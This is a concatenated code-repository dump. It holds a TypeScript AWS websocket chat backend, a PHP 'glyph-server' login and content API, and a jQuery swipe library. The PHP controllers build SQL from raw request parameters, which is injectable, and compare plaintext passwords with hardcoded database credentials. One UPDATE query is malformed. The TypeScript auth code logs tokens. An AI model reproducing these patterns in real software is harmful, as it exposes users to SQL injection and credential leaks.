[ 'CognitoUserPool', 'Arn', ], }, } }, }, Outputs: { CognitoUserPoolId: { Value: { Ref: 'CognitoUserPool', }, Export: { Name: "AWS-CognitoUserPoolId-${self:provider.stage}", }, }, CognitoUserPoolClientId: { Value: { Ref: 'CognitoUserPoolClient', }, Export: { Name: 'AWS-CognitoUserPoolClientId-${self:provider.stage}', }, }, } } } module.exports = serverlessConfiguration; <file_sep>import 'aws-sdk'; import { DynamoDB } from 'aws-sdk'; import { DeleteItemInput, PutItemInput, QueryInput } from 'aws-sdk/clients/dynamodb'; import CONSTANTS from '../constants'; import { randomBytes } from 'crypto'; class DynamoDbConnector { _connector: DynamoDB.DocumentClient; constructor() { this._connector = new DynamoDB.DocumentClient(CONSTANTS.DYNAMODB_OPTIONS); } get connector() { return this._connector; } async findSocketsByConnectionId(connectionId: string) { const queryParams: QueryInput = { TableName: CONSTANTS.DYNAMODB_SOCKETS_TABLE, KeyConditionExpression: '#ci = :ci', ExpressionAttributeNames: { '#ci': 'connectionId', }, ExpressionAttributeValues: { ':ci': connectionId, }, }; return await this._connector.query(queryParams).promise(); } async findSocketsBySubscription(subscription: string) { const queryParams: QueryInput = { TableName: CONSTANTS.DYNAMODB_SOCKETS_TABLE, IndexName: CONSTANTS.DYNAMODB_SOCKETS_TYPE_GSI, KeyConditionExpression: '#type = :type', ExpressionAttributeNames: { '#type': 'type', }, ExpressionAttributeValues: { ':type': subscription, }, }; return await this._connector.query(queryParams).promise(); } async findSocketsByPartnerSub(partnerSub: string) { const queryParams: QueryInput = { TableName: CONSTANTS.DYNAMODB_SOCKETS_TABLE, IndexName: CONSTANTS.DYNAMODB_SOCKETS_PARTNER_SUB_GSI, KeyConditionExpression: '#ps = :ps', ExpressionAttributeNames: { '#ps': 'partnerSub', }, ExpressionAttributeValues: { ':ps': partnerSub, }, }; return await this._connector.query(queryParams).promise(); } async findSocketsBySub(sub: string) { const queryParams: QueryInput = { TableName: CONSTANTS.DYNAMODB_SOCKETS_TABLE, IndexName: CONSTANTS.DYNAMODB_SOCKETS_SUB_GSI, KeyConditionExpression: '#s = :s', ExpressionAttributeNames: { '#s': 'sub', }, ExpressionAttributeValues: { ':s': sub, }, }; return await this._connector.query(queryParams).promise(); } async registerSocket(connectionId: string, connectionType: string, sub: string, partnerSub: string) { const socketParams: PutItemInput = { TableName: CONSTANTS.DYNAMODB_SOCKETS_TABLE, Item: { connectionId, type: connectionType, sub, partnerSub, } } return await this._connector.put(socketParams).promise(); } async removeSocket(connectionId: string) { const socketParams: DeleteItemInput = { TableName: CONSTANTS.DYNAMODB_SOCKETS_TABLE, Key: { connectionId, } } return await this._connector.delete(socketParams).promise(); } async registerMessage(message: string, fromSub: string, toSub: string, timestamp: number) { const messageId = randomBytes(10).reduce((p, i) => p + (i % 36).toString(36), '') const messageParams: PutItemInput = { TableName: CONSTANTS.DYNAMODB_LOGS_TABLE, Item: { messageId, message, fromSub, toSub, timestamp, }, } return await this._connector.put(messageParams).promise(); } async findMessagesByBothSubs(fromSub: string, toSub: string) { const queryParams: QueryInput = { TableName: CONSTANTS.DYNAMODB_LOGS_TABLE, IndexName: CONSTANTS.DYNAMODB_LOGS_TO_SUB_GSI, KeyConditionExpression: '#ts = :ts', FilterExpression: '#fs = :fs', ExpressionAttributeNames: { '#ts': 'toSub', '#fs': 'fromSub', }, ExpressionAttributeValues: { ':ts': toSub, ':fs': fromSub, }, } return await this._connector.query(queryParams).promise(); } } const DYNAMODB_CONNECTOR = new DynamoDbConnector(); export default DYNAMODB_CONNECTOR; <file_sep>import { APIGatewayProxyHandler } from 'aws-lambda'; import apigatewayconnector from '../connector/apigateway.connector'; import dynamodbconnector from '../connector/dynamodb.connector'; import CONSTANTS from '../constants'; import { SocketMessage } from '../types'; export const greeting: APIGatewayProxyHandler = async (event, _context) => { try { const connectionId = event.requestContext.connectionId; const data = JSON.parse(event.body); const greetingMessage: SocketMessage = { action: data.action, value: data.message, }; const sockets = await dynamodbconnector.findSocketsBySubscription('chat'); if (sockets.Count > 0) { const deliverableSockets = sockets.Items.filter((socket) => socket.connectionId !== connectionId); for (const socket of deliverableSockets) { try { await apigatewayconnector.generateSocketMessage( socket.connectionId, JSON.stringify(greetingMessage), ); } catch (e) { console.error(`Unable to deliver message to ${socket.connectionId}`, e); } } } else { console.log('No sockets subscribed to greetings found.'); } return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Greeting delivered', }; } catch (e) { console.error('Unable to generate greeting', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Unable to generate greeting.', }; } } <file_sep>import { APIGatewayProxyHandler } from "aws-lambda"; import { SocketMessage } from "../types"; import dynamodbconnector from '../connector/dynamodb.connector'; import apigatewayconnector from '../connector/apigateway.connector'; import cognitoconnector from '../connector/cognito.connector'; import CONSTANTS from '../constants'; export const status: APIGatewayProxyHandler = async (event, _context) => { try { const connectionId = event.requestContext.connectionId; const data = JSON.parse(event.body); const partnerSub = data['partnerSub']; try { const res = await cognitoconnector.findUserBySub(partnerSub); console.log(`Fetched username: ${res}`); try { const partnerInfoMessage: SocketMessage = { action: 'PARTNERINFO', value: res.Users[0].Username, }; await apigatewayconnector.generateSocketMessage( connectionId, JSON.stringify(partnerInfoMessage), ); } catch (e) { console.error(`Unable to deliver message to ${connectionId}`, e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Unable to deliver message', }; } } catch (e) { console.error('Failed to find partner user by sub', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Failed to find partner user by sub', }; } // find partner user status const partnerSockets = await dynamodbconnector.findSocketsBySub(partnerSub); if (partnerSockets.Count > 0) { try { const statusUpdateMessage: SocketMessage = { action: 'ISONLINE', value: '1' }; await apigatewayconnector.generateSocketMessage( connectionId, JSON.stringify(statusUpdateMessage), ); } catch (e) { console.error(`Unable to deliver message to ${connectionId}`, e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Unable to deliver message', }; } } return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Greeting delivered', }; } catch (e) { console.error('Unable to generate greeting', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Unable to send user status.', }; } } <file_sep>import { APIGatewayProxyHandler } from "aws-lambda"; import { SocketLogsMessage } from "../types"; import dynamodbconnector from '../connector/dynamodb.connector'; import apigatewayconnector from '../connector/apigateway.connector'; import CONSTANTS from '../constants'; export const getmsg: APIGatewayProxyHandler = async (event, _context) => { try { const connectionId = event.requestContext.connectionId; const data = JSON.parse(event.body); const fromSub = data['fromSub']; const toSub = data['toSub']; const res1 = await dynamodbconnector.findMessagesByBothSubs(fromSub, toSub); const res2 = await dynamodbconnector.findMessagesByBothSubs(toSub, fromSub); if (res1.Count > 0 || res2.Count > 0) { const msgs = [...(res1.Items.map(msg => msg)), ...(res2.Items.map(msg => msg))].sort((a, b) => { return a.timestamp - b.timestamp }); const sendMessage: SocketLogsMessage = { action: 'GETMSG', messages: msgs, }; await apigatewayconnector.generateSocketMessage( connectionId, JSON.stringify(sendMessage), ); } return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Logs delivered', }; } catch (e) { console.error('Failed to deliver logs', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Failed to deliver logs', }; } } <file_sep>import { APIGatewayProxyHandler, AuthResponse, PolicyDocument, Statement } from 'aws-lambda'; import fetch from 'node-fetch'; import 'node-jose'; import { JWK, JWS, util } from 'node-jose'; import congnitoConnector from './../connector/cognito.connector'; import CONSTANT from './../constants'; interface CustomAuthResponse { token: string, refresh: string, user: string, } const generatePolicy = function (principalId: string, effect: string, resource: string): AuthResponse { const policyDocument: PolicyDocument = { Version: '2012-10-17', Statement: [], }; const statementOne: Statement = { Action: 'execute-api:Invoke', Effect: effect, Resource: resource, }; policyDocument.Statement.push(statementOne); return { principalId, policyDocument, }; } const generateAllow = function (principalId: string, resource: string) { return generatePolicy(principalId, 'Allow', resource); } export const authUser: APIGatewayProxyHandler = async (event, _context) => { try { const data = JSON.parse(event.body); const user = data.user; const password = <PASSWORD>; if (!user || !password) { const error = 'User and password are required.'; console.error(error); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANT.CORS_ORIGIN, }, body: error, }; } else { const result = await congnitoConnector.authenticateUser(user, password); const response: CustomAuthResponse = { token: result.tokenId, refresh: result.refreshToken, user, }; return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANT.CORS_ORIGIN, }, body: JSON.stringify(response), }; } } catch (e) { console.error(e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANT.CORS_ORIGIN, }, body: 'Unable to authenticate user using AWS Cognito', }; } } // TODO: fix deprecated code and Promise<any> export const authWebsocket: APIGatewayProxyHandler = async (event, context): Promise<any> => { const methodArn = event['methodArn']; const token = event.queryStringParameters.Authorizer; if (!token) { return context.fail('Unauthorized'); } else { const sections = token.split('.'); let header = util.base64url.decode(sections[0]); const header_parsed = JSON.parse(header.toString()); const kid = header_parsed.kid; // validate JWT token // https://docs.aws.amazon.com/ja_jp/apigateway/latest/developerguide/apigateway-use-lambda-authorizer.html const rawRes = await fetch(CONSTANT.KEYS_URL); const response = await rawRes.json(); if (rawRes.ok) { const keys = response['keys']; const foundKey = keys.find((key) => key.kid === kid); if (!foundKey) { context.fail('Public key not found in jwks.json'); } else { try { console.log(`methodArn: ${methodArn}, token: ${token}`); const result = await JWK.asKey(foundKey); console.log(`result: ${JSON.stringify(result)}`); const keyVerify = JWS.createVerify(result); console.log(`keyVerify: ${JSON.stringify(keyVerify)}`); const verificationResult = await keyVerify.verify(token); console.log(`verificationResult: ${JSON.stringify(verificationResult)}`); const claims = JSON.parse(verificationResult.payload.toString()); console.log(`claims: ${JSON.stringify(claims)}`); // Verify the token expiration const currentTime = Math.floor((new Date()).getTime() / 1000); if (currentTime > claims.exp) { console.error('Token expired'); context.fail('Token expired'); } else if (claims['client_id'] !== CONSTANT.COGNITO_USER_POOL_CLIENT) { console.error(`claims.aud: ${claims.aud}`); console.error(`CONSTANT.COGNITO_USER_POOL_CLIENT: ${CONSTANT.COGNITO_USER_POOL_CLIENT}`); console.error('Token wasn\'t issued for target audience'); context.fail('Token wasn\'t issued for target audience'); } else { context.succeed(generateAllow('me', methodArn)); } } catch (e) { console.error('Unable to verify token', e); context.fail('Signature verification failed.'); } } } } } // TODO: fix any typing export const autoConfirmUser: any = (event: any, _context: any, callback: any) => { event['response']['autoConfirmUser'] = true; callback(null, event); } export const refreshToken: APIGatewayProxyHandler = async (event, _context) => { try { const data = JSON.parse(event.body); const user = data.user; const refresh = data.refresh; if (!user || !refresh) { const error = 'user and refresh token are required.'; console.error(error); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANT.CORS_ORIGIN, }, body: error, }; } else { const result = await congnitoConnector.refreshToken(user, refresh); const response: CustomAuthResponse = { token: result.tokenId, refresh: result.refreshToken, user, }; return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANT.CORS_ORIGIN, }, body: JSON.stringify(response), }; } } catch (e) { console.error(e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANT.CORS_ORIGIN, }, body: 'Unable to refresh user token using AWS Cognito' }; } } <file_sep>import { APIGatewayProxyHandler } from "aws-lambda"; import { SocketMessage } from "../types"; import dynamodbconnector from '../connector/dynamodb.connector'; import apigatewayconnector from '../connector/apigateway.connector'; import CONSTANTS from '../constants'; export const sendmsg: APIGatewayProxyHandler = async (event, _context) => { try { //const connectionId = event.requestContext.connectionId; const data = JSON.parse(event.body); const message = data['message']; const timestamp = data['timestamp']; const fromSub = data['fromSub']; const toSub = data['toSub']; const messageId = await dynamodbconnector.registerMessage(message, fromSub, toSub, timestamp); // send Message to partner user const sockets = await dynamodbconnector.findSocketsBySub(toSub); if (sockets.Count > 0) { const sendMessage: SocketMessage = { action: 'SENDMSG', message, fromSub, toSub, timestamp, }; await apigatewayconnector.generateSocketMessage( sockets.Items[0].connectionId, JSON.stringify(sendMessage), ); } return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Greeting delivered', }; } catch (e) { console.error('Failed to store message and send message to partner user', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Failed to store message and send message to partner user', }; } } <file_sep>import 'source-map-support/register'; import 'aws-sdk'; export * from './src/controllers/websocket.controller'; export * from './src/controllers/auth.controller'; export * from './src/controllers/greeting.controller'; export * from './src/controllers/status.controller'; export * from './src/controllers/sendmsg.controller'; export * from './src/controllers/getmsg.controller'; <file_sep>import { AuthenticationDetails, CognitoRefreshToken, CognitoUser, CognitoUserAttribute, CognitoUserPool, CognitoUserSession, IAuthenticationDetailsData, ICognitoUserData, ICognitoUserPoolData } from 'amazon-cognito-identity-js'; import { CognitoIdentityServiceProvider } from 'aws-sdk'; import CONSTANTS from '../constants'; interface Tokens { accessToken: string, refreshToken: string, tokenId: string, } const getTokens = (authResult: CognitoUserSession): Tokens => { const accessToken = authResult.getAccessToken().getJwtToken(); const refreshToken = authResult.getRefreshToken().getToken(); const tokenId = authResult.getIdToken().getJwtToken(); return { accessToken, refreshToken, tokenId, }; } const authenticate = (cognitoUser: CognitoUser, authenticationDetails: AuthenticationDetails): Promise<Tokens> => { return new Promise((resolve, reject) => { cognitoUser.authenticateUser(authenticationDetails, { onSuccess: (result) => { resolve(getTokens(result)); }, newPasswordRequired: (userAttributes: CognitoUserAttribute) => { // This is not production ready // We should manage this by the user on production environments cognitoUser.completeNewPasswordChallenge( authenticationDetails.getPassword(), userAttributes, this, ); }, onFailure: (e) => { reject(e); } }); }); } const refresh = (cognitoUser: CognitoUser, token: CognitoRefreshToken): Promise<Tokens> => { return new Promise((resolve, reject) => { cognitoUser.refreshSession(token, (err, session) => { if (err) { reject(err); } else { resolve(getTokens(session)); } }); }); } class CognitoConnector { _userpool: CognitoUserPool; _cognitoidp: CognitoIdentityServiceProvider; constructor() { const poolData: ICognitoUserPoolData = { UserPoolId: CONSTANTS.COGNITO_USER_POOL, ClientId: CONSTANTS.COGNITO_USER_POOL_CLIENT, }; this._userpool = new CognitoUserPool(poolData); this._cognitoidp = new CognitoIdentityServiceProvider(); } async authenticateUser(user: string, password: string) { // Generate an AuthenticationDetails object const authenticationData: IAuthenticationDetailsData = { Username: user, Password: <PASSWORD>, }; const authenticationDetails = new AuthenticationDetails(authenticationData); // Generate a CognitoUser object const userData: ICognitoUserData = { Username: user, Pool: this._userpool, }; const cognitoUser = new CognitoUser(userData); // Invoke the authenticate method return await authenticate(cognitoUser, authenticationDetails); } findUserBySub(sub: string) { return this._cognitoidp.listUsers({ UserPoolId: this._userpool.getUserPoolId(), //AttributesToGet: null, Filter: `sub=\"${sub}\"`, //Limit: 1, }, (e, res) => { if (e) { throw Error(`Unable to find user by sub: ${e}, sub: ${sub}, res: ${res}`); } else if (res.Users.length !== 1) { throw Error(`User not found: ${e}, sub: ${sub}, res: ${JSON.stringify(res)}`); } else { return res.Users[0].Attributes['Username']; } }).promise(); } async refreshToken(user: string, token: string) { // Generate a CognitoUser object const userData: ICognitoUserData = { Username: user, Pool: this._userpool, }; const cognitoUser = new CognitoUser(userData); // Generate a RefreshToken object const refreshToken = new CognitoRefreshToken({RefreshToken: token}); console.log(refreshToken); console.log(refreshToken.getToken()); // Invoke the refresh method return await refresh(cognitoUser, refreshToken); } } const COGNITO_CONNECTOR = new CognitoConnector(); export default COGNITO_CONNECTOR;
c59d571c8fe6199078ff32aa36bacafb35b7bf5c
[ "TypeScript" ]
13
TypeScript
zeroclock/websocket-chat-server
5e8ed7cff375dec18335981292c7807d5f5d936d
6d25ad018b1039a77c8f0234a6fd2d78ed719172
refs/heads/master
<repo_name>genericworks/Glyph<file_sep>/dev/server/glyph-server/com/glyph/controllers/UserController.php <?php require_once "com/glyph/models/User.php"; require_once "com/glyph/net/db.php"; class UserController { private $sql; public function __construct() { $this->sql = db::getInstance(); } public function login($username, $pwd, $deviceToken) { $userData = $this->sql->GetData("SELECT * FROM users WHERE username = '". $username ."' AND passwd = '". $pwd ."'"); if (mysql_num_rows($userData) > 0) { $user = mysql_fetch_assoc($userData); $userDefinition = new User(); $userDefinition->id = $user['id']; $userDefinition->name = $user['name']; $userDefinition->lastname = $user['lastname']; $userDefinition->active = ($user['active'] == 1 ? "true" : "false"); $userDefinition->lastlogin = $user['lastlogin']; $this->sql->Execute("UPDATE users SET lastlogin = CURRENT_TIMESTAMP". (!empty($deviceToken) ? " devicetoken='". $deviceToken ."'" : "") ." WHERE id = ". $userDefinition->id); return json_encode(array("result"=>"true", "user"=>$userDefinition)); } return json_encode(array("result"=>"false")); } } ?><file_sep>/dev/server/glyph-server/com/glyph/controllers/ContentController.php <?php require_once "com/glyph/models/User.php"; require_once "com/glyph/net/db.php"; require_once "com/glyph/models/Content.php"; class ContentController { private $sql; public function __construct() { $this->sql = db::getInstance(); } public function getContentByUserId($userId, $groupId) { $userData = $this->sql->GetData("SELECT * FROM users WHERE id = ". $userId); if (mysql_num_rows($userData) > 0) { $user = mysql_fetch_assoc($userData); $userDefinition = new User(); $userDefinition->id = $user['id']; $userDefinition->name = $user['name']; $userDefinition->lastname = $user['lastname']; $userDefinition->active = ($user['active'] == 1 ? "true" : "false"); $userDefinition->lastlogin = $user['lastlogin']; $contents = array(); if($user['active'] == 1) { $contentsData = $this->sql->GetData("SELECT c.* FROM contents AS c INNER JOIN ug_contents AS ugc ON ugc.content_id = c.id WHERE ugc.user_id = ". $userId .(!empty($groupId) ? " OR group_id = ". $groupId : "")); if (mysql_num_rows($contentsData) > 0) { while($content = mysql_fetch_assoc($contentsData)) { $contentDefinition = new Content(); $contentDefinition->id = $content['id']; $contentDefinition->title = $content['title']; $contentDefinition->descriptions = $content['descriptions']; $contentDefinition->lastModified = $content['lastModified']; $contentDefinition->fileDownload = $content['fileDownload']; $contentDefinition->directory = $content['directory']; $contentDefinition->version = $content['version']; $contentDefinition->file = $content['file']; array_push($contents, $contentDefinition); } } } return json_encode(array("result"=>"true", "user"=>$userDefinition, "contents"=>$contents)); } return json_encode(array("result"=>"false")); } } ?><file_sep>/dev/server/glyph-server/com/glyph/net/db.php <?php /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /** * Description of db * * @author <NAME> */ define ('DB_HOST','localhost'); define ('DB_USER','wDEASgJx'); define ('DB_PASS','<PASSWORD>'); define ('DB_NAME','db_aglyph'); ini_set("error_reporting", "E_ALL"); ini_set("display_errors", "1"); class db { public $connected = false; private static $_instance; private $conn; public function __construct() { $this->connect(); } static function getInstance() { if(self::$_instance == NULL) self::$_instance = new self(); return self::$_instance; } function connect() { $this->conn = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die( "Error al conectar: ". mysql_error()); mysql_select_db(DB_NAME); $this->connected = true; } function GetData($query) { if ($this->connected) { return mysql_query($query); } else { echo "Conexión Erronea"; exit; } } function Execute($query) { mysql_query($query); return true; } function isConnected() { return ($this->connected ? "YES" : "NO"); } function Close() { mysql_close($this->conn); } } ?> <file_sep>/dev/server/glyph-server/test.php <?php ini_set("error_reporting", "E_ALL"); ini_set("display_errors", "1"); require_once 'com/glyph/controllers/ContentController.php'; echo "asdasd"; if(isset($_REQUEST['id'])) { $contentController = new ContentController(); echo $contentController->getContentByUserId($_REQUEST['id']); } ?><file_sep>/dev/server/glyph-server/com/glyph/models/User.php <?php /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /** * Description of User * * @author <NAME> */ class User { public $name; public $lastname; public $id; public $active; public $lastlogin; } ?> <file_sep>/dev/server/glyph-server/gateway.php <?php error_reporting(E_ALL); ini_set("display_errors", "1"); require_once 'com/glyph/controllers/ContentController.php'; require_once 'com/glyph/controllers/UserController.php'; if(isset($_REQUEST['action'])) { switch($_REQUEST['action']) { case "syncData": if(isset($_REQUEST['id'])) { $contentController = new ContentController(); echo $contentController->getContentByUserId($_REQUEST['id'], $_REQUEST['group_id']); } break; case "login": if(isset($_REQUEST["username"]) && isset($_REQUEST["passwd"])) { $userController = new UserController(); echo $userController->login($_REQUEST["username"], $_REQUEST["passwd"], $_REQUEST["deviceToken"]); } else { echo json_encode(array("result"=>"false")); } break; } $db->Close(); } ?><file_sep>/dev/server/glyph-server/com/glyph/models/Content.php <?php /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /** * Description of Content * * @author <NAME> */ class Content { public $id; public $title; public $descriptions; public $fileDownload; public $directory; public $lastModified; public $version; public $file; } ?>
68176a66aa369eb313726ff376e235f19c046484
[ "PHP" ]
7
PHP
genericworks/Glyph
f9104d7b07a7d020e9b37f390582269c7084e2ed
c7dafefe015097c38f1ddc98879f3e1904bc75c2
refs/heads/master
<file_sep>function Swife(target, options){ if(target == null){ console.warn("Swife: 'target' is NULL."); return; } if(target.jquery == undefined){ console.warn("Swife: 'target' MUST be a jQuery object."); return; } if(target.length == 0){ console.warn("Swife: 'target' is NOT defined."); return; } var TARGET = target; var CHILDREN = TARGET.children(); var LENGTH = CHILDREN.length; var DUMMY = $('<div style="position:absolute;top:0;left:0;"></div>'); var DOCUMENT = $(document); var TOUCH_OBJ = {startx:0, starty:0, lastx:0, lasty:0}; var DIRECTION = []; var IS_IE = navigator.userAgent.indexOf("MSIE") >= 0; var tolerance = 20; var swifeState = ""; var swipeIndex = 0; var animating = false; var looping = true; var forceTouchEndID, TOUCH_END; var startCallback, finishCallback; if(options != undefined){ if(options.looping != undefined && typeof(options.looping) == "boolean"){ looping = options.looping; } } if(! IS_IE){ TARGET.bind("touchstart", touchStart); TARGET.bind("mousedown", mouseDown); } setChildrenVisPos(); if(options != undefined){ if(options.start != undefined && typeof(options.start) == "function"){ startCallback = options.start; } if(options.finish != undefined && typeof(options.finish) == "function"){ finishCallback = options.finish; } } try{ TOUCH_END = new MouseEvent("touchend"); }catch(e){ TOUCH_END = {type:"touchend"}; } // MOUSE_DOWN event listener function mouseDown(e){ if(swipeStart(e) == false){ return false; } } // MOUSE_MOVE event listener function mouseMove(e){ swipeMove(e); } // MOUSE_UP event listener function mouseUp(e){ swipeEnd(e); } // TOUCH_START event listener function touchStart(e){ if(swipeStart(e) == false){ return false; } } // TOUCH_MOVE event listener function touchMove(e){ swipeMove(e); } // TOUCH_END event listener function touchEnd(e){ swipeEnd(e); } // swipe start function swipeStart(e){ if(animating){ return false; } swifeState = "start"; var isTouch = false; if(e.type == "touchstart"){ isTouch = true; } var startx, starty; if(isTouch){ startx = e.originalEvent.touches[0].clientX; starty = e.originalEvent.touches[0].clientY; }else{ e.preventDefault();// prevent selection startx = e.pageX; starty = e.pageY; } TOUCH_OBJ.startx = startx; TOUCH_OBJ.starty = starty; TOUCH_OBJ.lastx = startx; TOUCH_OBJ.lasty = starty; DIRECTION.length = 0; if(isTouch){ DOCUMENT.unbind("touchmove", touchMove); DOCUMENT.unbind("touchend", touchEnd); DOCUMENT.bind("touchmove", touchMove); DOCUMENT.bind("touchend",touchEnd); }else{ DOCUMENT.unbind("mousemove", mouseMove); DOCUMENT.unbind("mouseup", mouseUp); DOCUMENT.bind("mousemove", mouseMove); DOCUMENT.bind("mouseup",mouseUp); } } // swipe move function swipeMove(e){ var isTouch = false; if(e.type == "touchmove"){ isTouch = true; } var currentx, currenty; if(isTouch){ currentx = e.originalEvent.touches[0].clientX; currenty = e.originalEvent.touches[0].clientY; }else{ currentx = e.pageX; currenty = e.pageY; } var difx = currentx - TOUCH_OBJ.startx; var dify = currenty - TOUCH_OBJ.starty; if(swifeState == "start"){ if(isTouch){ var rat = Math.abs(difx / dify); if(rat < 1){ // vertical scroll, prevent swipe swipeEnd(null); return; } } if(startCallback != undefined){ startCallback(); } } swifeState = "move"; e.preventDefault(); var delta = currentx - TOUCH_OBJ.lastx; if(delta > 0){ DIRECTION.unshift(1); }else if(delta < 0){ DIRECTION.unshift(-1); }else{ DIRECTION.unshift(0); } if(DIRECTION.length > 5){ DIRECTION.length = 5; } var tw = TARGET.width(); var pct = difx / tw * 100; TARGET.css("transform", "translate(" + pct + "%, 0)"); DUMMY.css("left", pct); TOUCH_OBJ.lastx = currentx; TOUCH_OBJ.lasty = currenty; if(isTouch){ forceTouchEnd(true); }else{ TARGET.css("pointer-events", "none"); } } // swipe end function swipeEnd(e){ var isTouch = false; if(e == null){ isTouch = true; }else if(e.type == "touchend"){ isTouch = true; } if(isTouch){ DOCUMENT.unbind("touchmove", touchMove); DOCUMENT.unbind("touchend", touchEnd); forceTouchEnd(false); }else{ DOCUMENT.unbind("mousemove", mouseMove); DOCUMENT.unbind("mouseup", mouseUp); TARGET.css("pointer-events", "auto"); } swifeState = "end"; if(e != null){ decideAnimation(true); }else{ decideAnimation(false); } } // trigger TOUCH_END forcibly when there is no response in some time function forceTouchEnd(repeat){ if(repeat != true){ repeat = false; } clearTimeout(forceTouchEndID); if(repeat){ forceTouchEndID = setTimeout(forceTouchEndDelay, 300); TOUCH_OBJ.time = (new Date()).getTime(); } } // trigger TOUCH_END function forceTouchEndDelay(){ touchEnd(TOUCH_END); } // decide animation direction function decideAnimation(animation){ var percent = parseInt(DUMMY.css("left"), 10); var direction = getDirection(); animationStart(percent, direction, animation); } // start animation function animationStart(percent, direction, animation){ if(animation != true){ animation = false; } var w = TARGET.width(); if(w < 400){ tolerance = 20; }else if(w < 800){ tolerance = 10; }else{ tolerance = 5; } var to = 0; if(percent * direction <= 0){ // }else if(percent <= -tolerance){ to = -100; swipeIndex++; }else if(percent >= tolerance){ to = 100; swipeIndex--; } var duration = 150; if(to == 0){ duration = 100; } DUMMY.stop(true); if(animation){ animating = true; DUMMY.animate({left:to}, {"duration":duration, progress:animationProgress, complete:animationComplete}); }else{ animating = false; animationComplete(); } } // animation progress callback function animationProgress(){ TARGET.css("transform", "translate("+parseInt(DUMMY.css('left'), 10)+"%, 0)"); } // animation complete callback function animationComplete(){ DUMMY.css("left", 0); TARGET.css("transform", "translate(0, 0)"); setChildrenVisPos(); animating = false; } // determine direction function getDirection(){ var len = DIRECTION.length; var direction = 0; for(var i=0; i<len; i++){ direction += DIRECTION[i]; } if(!looping){ var len = LENGTH - 1; var swidx = constrainIndex(swipeIndex); if(swidx == 0 && direction > 0){ direction = 0; }else if(swidx == len && direction < 0){ direction = 0; } } return direction; } // set children's visibility and position function setChildrenVisPos(){ var child, d1, d2; var len = LENGTH - 1; var swidx = constrainIndex(swipeIndex); CHILDREN.each(function(idx, itm){ child = $(itm); d1 = swidx - idx; d2 = idx - swidx; child.css("display", "none"); if(d1 == 0){ child.css({display:"block", left:0}); } if((d1 == 1) || (d2 == len)){ child.css({display:"block", left:"-100%"}); if(!looping && idx == len){ child.css("display", "none"); } } if((d2 == 1) || (d1 == len)){ child.css({display:"block", left:"100%"}); if(!looping && idx == 0){ child.css("display", "none"); } } }); if(finishCallback != undefined){ finishCallback(); } } // start slide animation function setSlide(idx){ idx = constrainIndex(idx); var cidx = getSwifeIndex(); var d = "prev"; if(idx > cidx){ d = "next"; } if(startCallback != undefined){ startCallback(); } var slide = CHILDREN.eq(idx); CHILDREN.css("display", "none"); CHILDREN.eq(cidx).css("display", "block"); slide.css("display", "block"); if(d == "prev"){ swipeIndex = idx + 1; slide.css("left", "-100%"); animationStart(50, 1, true); }else{ swipeIndex = idx -1; slide.css("left", "100%"); animationStart(-50, -1, true); } } // get current index function getSwifeIndex(){ return constrainIndex(swipeIndex); } // set current index function setSwifeIndex(idx){ swipeIndex = constrainIndex(idx); setChildrenVisPos(); } // make sure index is within range function constrainIndex(idx){ idx = idx % LENGTH; if(idx < 0){ idx = (idx + LENGTH) % LENGTH; } return idx; } // return return { next:function(){// slide to next if(animating){ return; } setSlide( getSwifeIndex() + 1 ); }, prev:function(){// slide to prev if(animating){ return; } setSlide( getSwifeIndex() - 1 ); }, getIndex:function(){// get current index return getSwifeIndex(); }, setIndex:function(index, animation){// slide to index var idx = parseInt(index, 10); if(isNaN(idx)){ console.warn("Swife: 'index' is NOT a number."); return; } if(animating){ return; } if(animation == true){ setSlide(idx); }else{ setSwifeIndex(idx); } }, getLength:function(){// get number of children return LENGTH; } }; }
29139964617edbd79e59f736ae890efe404daf90
[ "JavaScript" ]
1
JavaScript
hangunsworld/swife
971901c23de37184d171a23862e62580295e578b
f6176277e89339aef5e1dec5340e0a4869fd7d98
refs/heads/master
